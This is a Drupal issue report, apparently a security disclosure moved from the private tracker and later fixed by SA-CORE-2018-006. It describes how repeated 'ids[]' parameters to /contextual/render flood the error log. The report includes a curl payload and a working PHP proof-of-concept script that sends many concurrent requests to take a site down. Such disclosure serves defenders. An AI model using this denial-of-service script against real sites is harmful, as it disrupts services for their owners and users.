ContextualController::render() method accepts parameters from HTTP request without proper validation.
Steps to reproduce:
- Create an account with permission to use contextual links (you may add this permission to anonymous role for testing purpose).
- Execute the following POST request on behalf of this account.
curl --data "ids[]=node:node[]" https://example.com/contextual/render
- Navigate to admin/reports/dblog and check new records in the log (there should be about 9 PHP errors logged)
Generally being able to produce PHP errors with an HTTP request is not considered as a security issue. There are multiple other ways even without special permissions. However this case is different because you can multiply number of errors by repeating POST parameters.
For example:
- ids[]=node:node[] - causes 9 PHP errors
- ids[]=node:node[]&ids[]=node:node[] - causes 18 PHP errors
- ids[]=node:node[]&ids[]=node:node[]&ids[]=node:node[] - causes 21 PHP errors
With a special crafted HTTP requiest I was able to put 9000 PHP errors to watchdog at once. Since catching and logging PHP errors is an expensive operation this gives a great opportunity to carry out DDOS attacks.
Below is a script to prove concept.
$url = 'https://example.com';
$concurrency = 100;
$quantity = 1000;
$mh = curl_multi_init();
$handlers = [];
for ($i = 1; $i <= $concurrency; $i++) {
$handlers[] = $ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url . '/contextual/render');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
curl_setopt($ch, CURLOPT_POSTFIELDS, str_repeat('ids[]=node:node[]&', $quantity));
curl_multi_add_handle($mh, $ch);
}
$running = NULL;
do {
curl_multi_exec($mh, $running);
curl_multi_select($mh);
}
while ($running);
foreach ($handlers as $ch) {
echo '-> ', curl_getinfo($ch, CURLINFO_HTTP_CODE), "\n";
echo strip_tags(curl_multi_getcontent($ch)), "\n";
curl_multi_remove_handle($mh, $ch);
}
curl_multi_close($mh);
On my local docker container $concurrency = 5 was enough to put site down. On simplytest.me it varies from 50 to 100.
Mitigation
The attacker should have "Use contextual links" permission.
The issue was moved from s.d.o after security team approval.
Comments
Comment #2
Chi CreditAttribution: Chi commentedComment #10
larowlanThis was resolved by https://www.drupal.org/sa-core-2018-006